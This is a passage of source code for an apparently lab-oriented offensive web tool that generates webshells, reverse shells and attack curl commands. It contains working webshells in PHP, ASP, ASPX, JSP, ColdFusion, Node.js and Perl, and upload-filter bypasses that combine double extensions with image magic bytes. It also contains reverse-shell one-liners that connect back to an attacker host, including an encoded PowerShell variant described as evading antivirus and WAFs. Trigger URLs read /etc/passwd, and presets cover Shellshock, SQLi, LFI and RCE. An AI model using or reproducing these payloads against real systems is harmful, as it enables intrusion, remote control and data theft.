<span style="font-size:11px;color:#9baab6">Output format:</span>
<button class="encode-toggle" id="url-encode-toggle" onclick="toggleUrlEncode()">URL encode</button>
</div>
<div id="rev-list"></div>
</div>
</div>
</div>
</div>
<!-- ═══════════════════════════════════════════ CURL CRAFTER PAGE -->
<div id="page-curl" class="page hidden">
<div class="container">
<!-- Inputs -->
<div class="section">
<h3>Target</h3>
<div class="row2">
<div>
<label class="field-label">Target URL</label>
<input type="text" id="curl-url" placeholder="http://10.129.12.56/cgi-bin/user.sh" oninput="buildCurl()">
</div>
<div>
<label class="field-label">Attack Technique</label>
<select id="curl-technique" onchange="onCurlTechChange()" style="background:#0d1117;border:1px solid #30363d;border-radius:6px;color:#c9d1d9;font-size:12px;padding:8px 10px;width:100%;outline:none">
<option value="shellshock">Shellshock (CVE-2014-6271)</option>
<option value="shellshock_referer">Shellshock via Referer header</option>
<option value="shellshock_cookie">Shellshock via Cookie header</option>
<option value="sqli_auth">SQLi Auth Bypass (manual test)</option>
<option value="ssrf_internal">SSRF — probe internal host</option>
<option value="lfi_path">LFI — read file via parameter</option>
<option value="rce_param">RCE via GET parameter</option>
<option value="rce_post">RCE via POST body</option>
<option value="upload_php">Upload PHP webshell (multipart)</option>
<option value="custom">Custom (manual header/body)</option>
</select>
</div>
</div>
<div class="row2" style="margin-top:12px">
<div>
<label class="field-label">Your IP (tun0)</label>
<input type="text" id="curl-lhost" placeholder="10.10.14.x" oninput="buildCurl()">
</div>
<div>
<label class="field-label">Your Port (listener)</label>
<input type="text" id="curl-lport" value="4444" oninput="buildCurl()">
</div>
</div>
<!-- Technique-specific extras -->
<div id="curl-extras" style="margin-top:12px"></div>
</div>
<!-- Options -->
<div class="section">
<h3>curl Flags</h3>
<div style="display:flex;flex-wrap:wrap;gap:8px" id="curl-flags-grid"></div>
</div>
<!-- Output -->
<div class="section" id="curl-output-section" style="display:none">
<h3>Generated Command</h3>
<div style="position:relative">
<code id="curl-output" style="display:block;background:#0d1117;border:1px solid #30363d;border-radius:6px;padding:14px;font-family:monospace;font-size:12px;color:#29d4bf;white-space:pre-wrap;word-break:break-all;line-height:1.7"></code>
<button class="copy-btn" id="curl-copy" style="position:absolute;top:8px;right:8px" onclick="copyCurlOutput()">copy</button>
</div>
</div>
<!-- Flag reference -->
<div class="section">
<h3>📖 curl Flag Reference</h3>
<table style="width:100%;border-collapse:collapse;font-size:12px">
<thead><tr>
<th style="background:#21262d;padding:8px 12px;text-align:left;color:#9baab6;font-size:11px;text-transform:uppercase;letter-spacing:.5px;width:130px">Flag</th>
<th style="background:#21262d;padding:8px 12px;text-align:left;color:#9baab6;font-size:11px;text-transform:uppercase;letter-spacing:.5px">What it does</th>
<th style="background:#21262d;padding:8px 12px;text-align:left;color:#9baab6;font-size:11px;text-transform:uppercase;letter-spacing:.5px;width:180px">When to use it</th>
</tr></thead>
<tbody id="curl-flag-table"></tbody>
</table>
</div>
</div>
</div>
<script>
// ─── Webshell definitions ─────────────────────────────────────
const SHELLS = [
{ id: 'php_system', label: 'PHP system()', ext: 'php', sub: 'most common', desc: 'Calls system() which executes a command and prints output directly to the response.', bestFor: 'First thing to try on any PHP target. Most common and widely supported.', fn: p => `<?php system($_GET['${p}']); ?>` },
{ id: 'php_passthru', label: 'PHP passthru()', ext: 'php', sub: 'raw binary output', desc: 'Like system() but passes raw binary output through without buffering.', bestFor: 'When you need binary output or system() is blocked but passthru() is not.', fn: p => `<?php passthru($_GET['${p}']); ?>` },
{ id: 'php_exec', label: 'PHP exec()', ext: 'php', sub: 'last line only', desc: 'Executes a command and returns only the last line of output.', bestFor: 'Commands with single-line output (id, whoami). Quieter footprint than system().', fn: p => `<?php echo exec($_GET['${p}']); ?>` },
{ id: 'php_shell', label: 'PHP shell_exec()', ext: 'php', sub: 'full string return', desc: 'Runs the command via shell and returns the complete output as a string.', bestFor: 'Multi-line output. Equivalent to using backticks in PHP.', fn: p => `<?php echo shell_exec($_GET['${p}']); ?>` },
{ id: 'php_full', label: 'PHP full output', ext: 'php', sub: 'formatted + stderr', desc: 'Wraps shell_exec() in <pre> tags and redirects stderr, so errors show in the response.', bestFor: 'Best for readability in browser. Shows both stdout and stderr.', fn: p => `<?php\nif(isset($_GET['${p}'])) {\n echo '<pre>' . shell_exec($_GET['${p}'] . ' 2>&1') . '</pre>';\n}\n?>` },
{ id: 'asp', label: 'Classic ASP', ext: 'asp', sub: 'older IIS', desc: 'Uses WScript.Shell via VBScript to run cmd.exe and read stdout.', bestFor: 'Older IIS servers (IIS 5/6). Legacy Windows apps still running Classic ASP.', fn: p => `<%\nDim cmd, oShell, output\ncmd = Request.QueryString("${p}")\nIf cmd <> "" Then\n Set oShell = Server.CreateObject("WScript.Shell")\n Set output = oShell.Exec("cmd.exe /c " & cmd)\n Response.Write "<pre>" & Server.HTMLEncode(output.StdOut.ReadAll) & "</pre>"\nEnd If\n%>` },
{ id: 'aspx', label: 'ASPX (C#)', ext: 'aspx', sub: 'Windows / IIS', desc: 'C# code-behind that uses System.Diagnostics.Process to spawn cmd.exe.', bestFor: 'Modern IIS with .NET 2.0+. More reliable than Classic ASP on current Windows targets.', fn: p => `<%@ Page Language="C#" %>\n<%@ Import Namespace="System.Diagnostics" %>\n<%\nstring cmd = Request.QueryString["${p}"];\nif (cmd != null) {\n Process proc = new Process();\n proc.StartInfo.FileName = "cmd.exe";\n proc.StartInfo.Arguments = "/c " + cmd;\n proc.StartInfo.UseShellExecute = false;\n proc.StartInfo.RedirectStandardOutput = true;\n proc.Start();\n Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");\n proc.WaitForExit();\n}\n%>` },
{ id: 'cfm', label: 'ColdFusion', ext: 'cfm', sub: 'enterprise apps', desc: 'Uses <cfexecute> to run system commands. ColdFusion is Adobe/Lucee based.', bestFor: 'Enterprise apps running ColdFusion. Common in finance and government targets.', fn: p => `<cfif isDefined("url.${p}")>\n <cfexecute name="cmd.exe" arguments="/c #url.${p}#" variable="output" timeout="5"></cfexecute>\n <pre>#output#</pre>\n</cfif>` },
{ id: 'jsp', label: 'JSP (Java)', ext: 'jsp', sub: 'Tomcat / JBoss', desc: 'Uses Runtime.getRuntime().exec() inside a JSP page to run commands.', bestFor: 'Java app servers: Tomcat, JBoss, GlassFish, WebLogic.', fn: p => `<%@ page import="java.util.*,java.io.*"%>\n<%\nString cmd = request.getParameter("${p}");\nif (cmd != null) {\n Process p2 = Runtime.getRuntime().exec(cmd);\n BufferedReader br = new BufferedReader(new InputStreamReader(p2.getInputStream()));\n out.print("<pre>");\n String line;\n while ((line = br.readLine()) != null) out.println(line);\n out.print("</pre>");\n}\n%>` },
{ id: 'node', label: 'Node.js', ext: 'js', sub: 'Express / require', desc: 'An Express route handler using execSync from child_process to run commands.', bestFor: 'Node.js apps with Express or serverless function endpoints.', fn: p => `const { execSync } = require('child_process');\nmodule.exports = (req, res) => {\n const cmd = req.query['${p}'];\n if (cmd) {\n try {\n res.send('<pre>' + execSync(cmd + ' 2>&1').toString() + '</pre>');\n } catch (e) { res.send('<pre>' + e.stderr + '</pre>'); }\n } else { res.send('ready'); }\n};` },
{ id: 'perl', label: 'Perl CGI', ext: 'pl', sub: 'CGI-enabled Apache', desc: 'Perl CGI script using backtick execution to run commands.', bestFor: 'Old CGI-enabled Apache servers. Common on legacy Linux hosts.', fn: p => `#!/usr/bin/perl\nuse strict;\nuse CGI qw(:standard);\nmy $cmd = param('${p}');\nprint header();\nif ($cmd) { print "<pre>"; print \`$cmd 2>&1\`; print "</pre>"; }` },
];
// ─── Extension bypass variants ────────────────────────────────
const PHP_EXTS = [
{ ext: 'php', note: 'standard', common: true },
{ ext: 'php5', note: 'PHP5 handler', common: true },
{ ext: 'php7', note: 'PHP7 handler', common: false },
{ ext: 'phtml', note: 'template ext', common: true },
{ ext: 'pHp', note: 'case swap', common: true },
{ ext: 'php.png', note: 'double ext', common: true },
{ ext: 'php.gif', note: 'double ext', common: true },
{ ext: 'php.jpg', note: 'double ext', common: true },
{ ext: 'php.pdf', note: 'double ext', common: true },
{ ext: 'jpg', note: 'ext swap', common: false },
{ ext: 'png', note: 'ext swap', common: false },
{ ext: 'gif', note: 'ext swap', common: false },
{ ext: 'pdf', note: 'ext swap', common: false },
{ ext: 'shtml', note: 'SSI ext', common: false },
];
// ─── Magic bytes ──────────────────────────────────────────────
// imgExt: the double-extension to auto-select when this magic type is active
const MAGIC = [
{ id: 'none', label: 'None', prefix: '', mime: '', imgExt: null, note: '' },
{ id: 'png', label: 'PNG', prefix: '\x89PNG\r\n\x1a\n', mime: 'image/png', imgExt: 'php.png', note: 'finfo-safe: passes finfo_file() image/png check' },
{ id: 'gif', label: 'GIF', prefix: 'GIF89a;\n', mime: 'image/gif', imgExt: 'php.gif', note: 'text-safe magic bytes' },
{ id: 'jpeg', label: 'JPEG', prefix: '', mime: 'image/jpeg', imgExt: 'php.jpg', note: 'binary — curl only' },
{ id: 'pdf', label: 'PDF', prefix: '%PDF-1.4\n', mime: 'application/pdf', imgExt: 'php.pdf', note: '' },
];
// ─── Reverse shell definitions ────────────────────────────────
function psEncode(h, p) {
const cmd = `$client = New-Object System.Net.Sockets.TCPClient("${h}",${p});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()`;
const utf16 = Array.from(cmd).map(c => String.fromCharCode(c.charCodeAt(0) & 0xff, (c.charCodeAt(0) >> 8) & 0xff)).join('');
return `powershell -EncodedCommand ${btoa(utf16)}`;
}
const REVSHELLS = [
{ id: 'bash', label: 'Bash', sub: 'most reliable', desc: 'Wraps the payload in bash -c so the >& redirect and /dev/tcp are always interpreted by bash, not /bin/sh. Fixes failures in web apps, cron, and restricted shells.', bestFor: 'Any Linux host with bash. Most reliable option — try this first.', fn: (h,p) => `bash -c 'bash -i >& /dev/tcp/${h}/${p} 0>&1'` },
{ id: 'bash_196', label: 'Bash (196)', sub: 'fd 196 variant', desc: 'Opens /dev/tcp via file descriptor 196, avoiding the >& redirect syntax.', bestFor: 'When the standard bash variant fails or /dev/tcp redirect is restricted.', fn: (h,p) => `0<&196;exec 196<>/dev/tcp/${h}/${p}; sh <&196 >&196 2>&196` },
{ id: 'py3', label: 'Python 3', sub: 'direct', desc: 'Uses the socket module to connect and dup2 to redirect stdin/stdout/stderr. Spawns /bin/bash for a proper shell.', bestFor: 'Direct terminal execution (SSH, existing shell). Use the PHP-safe variant when triggering via system()/exec().', fn: (h,p) => `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${h}",${p}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'` },
{ id: 'py3_php', label: 'Python 3 (PHP-safe)', sub: 'base64 — no quote issues', desc: 'Base64-encodes the Python payload so there are no single or double quotes to break when PHP passes the command through /bin/sh -c "...". The inner payload still spawns /bin/bash.', bestFor: 'Triggering via PHP system()/exec()/passthru() or any context where single quotes get mangled by a wrapping shell.', fn: (h,p) => { const inner = `import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${h}",${p}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])`; const b64 = btoa(inner); return `python3 -c "exec(__import__('base64').b64decode('${b64}').decode())"` } },
{ id: 'py2', label: 'Python 2', sub: '', desc: 'Same socket approach as Python 3 but uses python2 binary.', bestFor: 'Older Linux/Unix systems where only Python 2 is available.', fn: (h,p) => `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${h}",${p}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'` },
{ id: 'nc_e', label: 'Netcat (-e)', sub: 'traditional nc', desc: 'Uses the -e flag to attach a shell to the connection. Only works on older nc builds.', bestFor: 'Older or BSD netcat versions that support -e. Not available on modern Linux nc.',fn: (h,p) => `nc -e /bin/bash ${h} ${p}` },
{ id: 'nc_mkfifo', label: 'Netcat (mkfifo)', sub: 'no -e needed', desc: 'Creates a named pipe with mkfifo to wire shell I/O through netcat without -e.', bestFor: 'Modern Linux netcat (OpenBSD variant) which drops the -e flag.', fn: (h,p) => `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${h} ${p} >/tmp/f` },
{ id: 'ncat', label: 'Ncat', sub: 'nmap variant', desc: "nmap's ncat with --sh-exec. More feature-rich than traditional nc.", bestFor: 'When ncat is installed (comes with nmap package).', fn: (h,p) => `ncat ${h} ${p} -e /bin/bash` },
{ id: 'ps_raw', label: 'PowerShell', sub: 'Windows', desc: 'Full PowerShell TCP reverse shell using TCPClient and IEX loop.', bestFor: 'Windows targets with unrestricted or bypass execution policy.', fn: (h,p) => `powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient(\\"${h}\\",${p});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + \\"PS \\" + (pwd).Path + \\"> \\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"` },
{ id: 'ps_enc', label: 'PowerShell (encoded)', sub: 'AV/WAF bypass', desc: 'Same PowerShell payload but base64-encoded as UTF-16LE and passed via -EncodedCommand.', bestFor: 'Bypassing WAFs, AV signatures, or restricted execution policies. Delivery via cmd.exe.', fn: (h,p) => psEncode(h,p) },
{ id: 'php_rev', label: 'PHP reverse', sub: 'upload + trigger', desc: 'PHP shell using fsockopen to connect back, wired to /bin/sh via proc_open.', bestFor: 'When you can upload and trigger a PHP file rather than inject a one-liner.', fn: (h,p) => `<?php\n$sock = fsockopen("${h}", ${p});\n$proc = proc_open('/bin/sh -i', [0=>$sock, 1=>$sock, 2=>$sock], $pipes);\n?>` },
{ id: 'ruby', label: 'Ruby', sub: '', desc: 'Opens a TCPSocket and execs /bin/sh with file descriptors redirected.', bestFor: 'Ruby on Rails apps, macOS targets, any host with Ruby installed.', fn: (h,p) => `ruby -rsocket -e 'f=TCPSocket.open("${h}",${p}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'` },
{ id: 'perl_rev', label: 'Perl', sub: '', desc: 'Uses IO::Socket to connect and redirects STDIN/STDOUT/STDERR before exec.', bestFor: 'CGI servers, old Linux/Unix systems where Perl is available.', fn: (h,p) => `perl -e 'use Socket;$i="${h}";$p=${p};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}'` },
];
// ─── State ────────────────────────────────────────────────────
let selectedShell = 'php_system';
let activeExts = new Set(['php', 'php5', 'phtml', 'pHp', 'php.png', 'php.gif', 'php.jpg', 'php.pdf']);
let activeMagic = 'none';
let lastGenerated = [];
let activeRevShells = new Set(REVSHELLS.map(r => r.id));
let urlEncodeOn = false;
let lastRevSelected = [];
// ─── Mode switch ──────────────────────────────────────────────
const MODES = ['webshell', 'revshell', 'stabilize', 'curl'];
function switchMode(mode) {
MODES.forEach(m => document.getElementById('page-' + m).classList.toggle('hidden', m !== mode));
document.querySelectorAll('.mode-tab').forEach((t, i) =>
t.classList.toggle('active', MODES[i] === mode));
}
// ─── Stabilize OS switch ──────────────────────────────────────
function switchStabOS(os) {
document.getElementById('stab-linux').style.display = os === 'linux' ? 'block' : 'none';
document.getElementById('stab-windows').style.display = os === 'windows' ? 'block' : 'none';
document.querySelectorAll('.os-btn').forEach((b, i) =>
b.classList.toggle('active', ['linux','windows'][i] === os));
}
function updateSttyCmd() {
const rows = document.getElementById('stty-rows').value || '38';
const cols = document.getElementById('stty-cols').value || '116';
const cmd = `stty rows ${rows} cols ${cols}`;
document.getElementById('stty-cmd').textContent = cmd;
document.getElementById('stty-copy-btn').dataset.stab = cmd;
}
// ─── Render webshell cards ────────────────────────────────────
function renderShells() {
document.getElementById('shell-grid').innerHTML = SHELLS.map(s => `
<label class="shell-card${selectedShell === s.id ? ' active' : ''}">
<input type="radio" name="shell" value="${s.id}"${selectedShell === s.id ? ' checked' : ''}>
<div>
<div class="sc-label">${s.label}</div>
${s.sub ? `<div class="sc-sub">${s.sub}</div>` : ''}
</div>
<div class="sc-tip">
<div class="tip-desc">${s.desc}</div>
<div class="tip-best">Best for: <strong>${s.bestFor}</strong></div>
</div>
</label>`).join('');
}
document.getElementById('shell-grid').addEventListener('change', e => {
if (e.target.type !== 'radio') return;
selectedShell = e.target.value;
renderShells();
renderExts();
});
// ─── Render extension variants ────────────────────────────────
function getExts() {
const shell = SHELLS.find(s => s.id === selectedShell);
if (shell?.ext === 'php') return PHP_EXTS;
return [{ ext: shell?.ext || 'txt', note: 'standard', common: true }];
}
function renderExts() {
const exts = getExts();
if (exts.length === 1) activeExts = new Set([exts[0].ext]);
document.getElementById('ext-grid').innerHTML = exts.map(e => `
<div class="ext-tag${activeExts.has(e.ext) ? ' active' : ''}" data-ext="${e.ext}">
.${e.ext} <span class="ext-note">${e.note}</span>
</div>`).join('');
}
document.getElementById('ext-grid').addEventListener('click', e => {
const tag = e.target.closest('.ext-tag');
if (!tag) return;
const ext = tag.dataset.ext;
if (activeExts.has(ext)) activeExts.delete(ext); else activeExts.add(ext);
tag.classList.toggle('active', activeExts.has(ext));
});
function selectAllExt() { getExts().forEach(e => activeExts.add(e.ext)); renderExts(); }
function selectNoneExt() { activeExts.clear(); renderExts(); }
// ─── Render magic bytes ───────────────────────────────────────
function renderMagic() {
document.getElementById('magic-grid').innerHTML = MAGIC.map(m => `
<button class="magic-btn${activeMagic === m.id ? ' active' : ''}" data-magic="${m.id}">
${m.label}${m.note ? `<span style="font-size:10px;color:#9baab6;margin-left:4px">(${m.note})</span>` : ''}
</button>`).join('');
}
document.getElementById('magic-grid').addEventListener('click', e => {
const btn = e.target.closest('.magic-btn');
if (!btn) return;
activeMagic = btn.dataset.magic;
renderMagic();
});
// ─── Custom code toggle ───────────────────────────────────────
document.getElementById('custom-toggle').addEventListener('click', () => {
const area = document.getElementById('custom-area');
const visible = area.style.display === 'block';
area.style.display = visible ? 'none' : 'block';
document.getElementById('custom-toggle').textContent = visible ? '+ use custom shell code' : '- hide custom code';
});
// ─── Render reverse shell cards ───────────────────────────────
function renderRevShells() {
document.getElementById('rev-grid').innerHTML = REVSHELLS.map(r => `
<label class="shell-card${activeRevShells.has(r.id) ? ' active' : ''}">
<input type="checkbox" value="${r.id}"${activeRevShells.has(r.id) ? ' checked' : ''}>
<div>
<div class="sc-label">${r.label}</div>
${r.sub ? `<div class="sc-sub">${r.sub}</div>` : ''}
</div>
<div class="sc-tip">
<div class="tip-desc">${r.desc}</div>
<div class="tip-best">Best for: <strong>${r.bestFor}</strong></div>
</div>
</label>`).join('');
}
document.getElementById('rev-grid').addEventListener('change', e => {
if (e.target.type !== 'checkbox') return;
const id = e.target.value;
if (e.target.checked) activeRevShells.add(id); else activeRevShells.delete(id);
e.target.closest('.shell-card').classList.toggle('active', e.target.checked);
});
function selectAllRev() { REVSHELLS.forEach(r => activeRevShells.add(r.id)); renderRevShells(); }
function selectNoneRev() { activeRevShells.clear(); renderRevShells(); }
// ─── Generate webshell ────────────────────────────────────────
function generate() {
const filename = document.getElementById('filename-input').value.trim() || 'shell';
const param = document.getElementById('param-input').value.trim() || 'cmd';
const uploadUrl = document.getElementById('url-input').value.trim();
const fieldName = document.getElementById('field-input').value.trim() || 'file';
const custom = document.getElementById('custom-code').value.trim();
const shell = SHELLS.find(s => s.id === selectedShell);
const magic = MAGIC.find(m => m.id === activeMagic);
const exts = getExts().filter(e => activeExts.has(e.ext));
if (!exts.length) { alert('Select at least one extension variant.'); return; }
const rawCode = custom ? custom.replace(/\{param\}/g, param) : shell.fn(param);
lastGenerated = exts.map(e => {
const fname = `${filename}.${e.ext}`;
const code = magic.prefix + rawCode;
let curl = '';
if (uploadUrl) {
if (activeMagic === 'jpeg') {
curl = `# write binary JPEG magic bytes then append shell\nprintf '\\xff\\xd8\\xff\\xe0' > magic.bin\ncat magic.bin ${fname} > ${fname}.upload\n\ncurl -k -X POST '${uploadUrl}' \\\n -F '${fieldName}=@${fname}.upload;type=image/jpeg'`;
} else {
const mimeStr = magic.mime ? `;type=${magic.mime}` : '';
curl = `curl -k -X POST '${uploadUrl}' \\\n -F '${fieldName}=@${fname}${mimeStr}'`;
}
}
return { ext: e.ext, note: e.note, filename: fname, code, curl };
});
// When magic bytes are active, the primary output should use the matching double extension
// (e.g. PNG magic → shell.php.png) so the downloaded file passes both the MIME and extension checks
const primaryExt = (magic.imgExt && lastGenerated.find(v => v.ext === magic.imgExt))
? magic.imgExt
: shell.ext;
const primary = lastGenerated.find(v => v.ext === primaryExt) || lastGenerated[0];
document.getElementById('out-shell').value = primary.code;
document.getElementById('lbl-shell').textContent = primary.filename;
document.getElementById('out-curl').value = primary.curl || '(enter an upload URL above to generate the curl command)';
document.getElementById('stat-file').textContent = primary.filename;
document.getElementById('stat-shell').textContent = shell.label;
document.getElementById('stat-magic').textContent = magic.label;
document.getElementById('stat-variants').textContent = lastGenerated.length;
// Explain the bypass technique based on what was generated
const explainEl = document.getElementById('ws-explain');
const isDoubleExt = primary.ext.includes('.');
const hasMagic = activeMagic !== 'none';
if (isDoubleExt && hasMagic) {
const imgExt = primary.ext.split('.').pop(); // e.g. "png"
const execExt = primary.ext.split('.')[0]; // e.g. "php"
explainEl.style.display = 'block';
explainEl.innerHTML = `
<div style="background:#0b1e2e;border:1px solid #1f6feb;border-radius:6px;padding:12px 14px;font-size:12px;line-height:1.8">
<div style="color:#58a6ff;font-weight:600;margin-bottom:6px">⚙️ Bypass technique: double extension + magic bytes</div>
<div style="color:#c9d1d9;margin-bottom:2px">
<span style="color:#29d4bf">${esc(primary.filename)}</span> passes <strong>two independent checks</strong>:
</div>
<div style="color:#9baab6;margin-left:12px">
<span style="color:#d29922">①</span> <strong>MIME check</strong> — <code style="color:#29d4bf">finfo_file()</code> reads the first bytes of the file.
${esc(magic.label)} magic bytes at the start make it return <code style="color:#29d4bf">image/${imgExt}</code> → passes <code>check_file_type()</code>.<br>
<span style="color:#d29922">②</span> <strong>Extension check</strong> — the filename ends in <code style="color:#29d4bf">.${imgExt}</code> → passes the <code>$validext</code> whitelist.<br>
<span style="color:#f85149">③</span> <strong>Execution</strong> — <code style="color:#f85149">Apache mod_php</code> handles any file containing <code>.${execExt}</code> in the name, not just files ending in <code>.${execExt}</code>.
The server saves it and when you browse to it, Apache sees <code>.${execExt}</code>, hands it to the PHP interpreter, and your shell runs.
</div>
<div style="margin-top:8px;color:#6e7681;font-size:11px">
This works because <code>mod_php</code> matches <code>AddHandler application/x-httpd-php .php</code> against <em>any</em> extension in the filename, not only the last one.
If the server used <code>FilesMatch</code> or <code>SetHandler</code> correctly, this would be blocked.
</div>
</div>`;
} else if (hasMagic && !isDoubleExt) {
explainEl.style.display = 'block';
explainEl.innerHTML = `
<div style="background:#2d2a15;border:1px solid #d29922;border-radius:6px;padding:10px 14px;font-size:12px;color:#d29922">
⚠️ Magic bytes active but extension is <code>.${esc(primary.ext)}</code> — this bypasses the MIME check but <strong>not</strong> an extension whitelist.
Switch to a double extension like <code>.${primary.ext}.${activeMagic === 'jpeg' ? 'jpg' : activeMagic}</code> to bypass both checks simultaneously.
</div>`;
} else {
explainEl.style.display = 'none';
}
renderWsVariants();
renderTriggerUrls();
document.getElementById('ws-output').style.display = 'block';
document.getElementById('ws-output').scrollIntoView({ behavior: 'smooth', block: 'start' });
}
function renderTriggerUrls() {
const param = document.getElementById('param-input').value.trim() || 'cmd';
const shellUrl = document.getElementById('trigger-url-input').value.trim();
const container = document.getElementById('trigger-url-list');
if (!shellUrl) {
container.innerHTML = '<p class="hint">Enter the shell URL above to generate trigger commands.</p>';
return;
}
const sep = shellUrl.includes('?') ? '&' : '?';
const cmds = [
{ label: 'id', cmd: 'id' },
{ label: 'whoami', cmd: 'whoami' },
{ label: 'hostname', cmd: 'hostname' },
{ label: 'ls -la', cmd: 'ls -la' },
{ label: 'cat /etc/passwd', cmd: 'cat /etc/passwd' },
{ label: 'ipconfig', cmd: 'ipconfig /all' },
];
container.innerHTML = cmds.map(c => {
const url = `${shellUrl}${sep}${param}=${encodeURIComponent(c.cmd)}`;
return `<div class="trigger-row">
<span class="trigger-cmd-label">${c.label}</span>
<code class="trigger-url-code">${esc(url)}</code>
<button class="copy-btn" data-stab="${esc(url)}">copy</button>
</div>`;
}).join('');
}
document.getElementById('trigger-url-input').addEventListener('input', renderTriggerUrls);
function renderWsVariants() {
document.getElementById('ws-variants-list').innerHTML = lastGenerated.map((v, i) => `
<div class="variant-item">
<div class="variant-row">
<span class="variant-name">${esc(v.filename)}</span>
<span class="variant-note">${esc(v.note)}</span>
</div>
<div class="variant-code">${esc(v.code)}</div>
${v.curl ? `<div style="font-size:10px;color:#9baab6;margin-bottom:2px">curl:</div><div class="variant-code blue">${esc(v.curl)}</div>` : ''}
<div class="variant-actions">
<button class="copy-btn" data-vi="${i}" data-type="ws-code">copy shell</button>
${v.curl ? `<button class="copy-btn" data-vi="${i}" data-type="ws-curl">copy curl</button>` : ''}
<button class="dl-btn" data-vi="${i}" data-scope="ws">⬇ download</button>
</div>
</div>`).join('');
document.getElementById('lbl-variants').textContent =
`${lastGenerated.length} variant${lastGenerated.length !== 1 ? 's' : ''}`;
}
function clearWebshell() {
document.getElementById('filename-input').value = 'shell';
document.getElementById('param-input').value = 'cmd';
document.getElementById('url-input').value = '';
document.getElementById('custom-code').value = '';
document.getElementById('ws-output').style.display = 'none';
lastGenerated = [];
}
// ─── Generate reverse shell ───────────────────────────────────
function generateRev() {
const host = document.getElementById('lhost-input').value.trim();
const port = document.getElementById('lport-input').value.trim() || '4444';
if (!host) { alert('Enter your LHOST first.'); return; }
const selected = REVSHELLS.filter(r => activeRevShells.has(r.id));
if (!selected.length) { alert('Select at least one shell type.'); return; }
lastRevSelected = selected.map(r => {
let cmd;
try { cmd = r.fn(host, port); } catch(e) { cmd = '(error generating)'; }
return { label: r.label, sub: r.sub, cmd };
});
document.getElementById('listener-cmd').textContent = `nc -lvnp ${port}`;
document.getElementById('rev-stat-host').textContent = host;
document.getElementById('rev-stat-port').textContent = port;
document.getElementById('rev-stat-count').textContent = selected.length;
renderRevList();
document.getElementById('rev-output').style.display = 'block';
document.getElementById('rev-output').scrollIntoView({ behavior: 'smooth', block: 'start' });
}
function renderRevList() {
document.getElementById('rev-list').innerHTML = lastRevSelected.map((r, i) => {
const display = urlEncodeOn ? encodeURIComponent(r.cmd) : r.cmd;
return `
<div class="variant-item">
<div class="variant-row">
<span class="variant-name">${r.label}</span>
${r.sub ? `<span class="variant-note">${r.sub}</span>` : ''}
</div>
<div class="variant-code">${esc(display)}</div>
<div class="variant-actions">
<button class="copy-btn" data-rev="${i}" data-cmd="${esc(display)}">copy</button>
</div>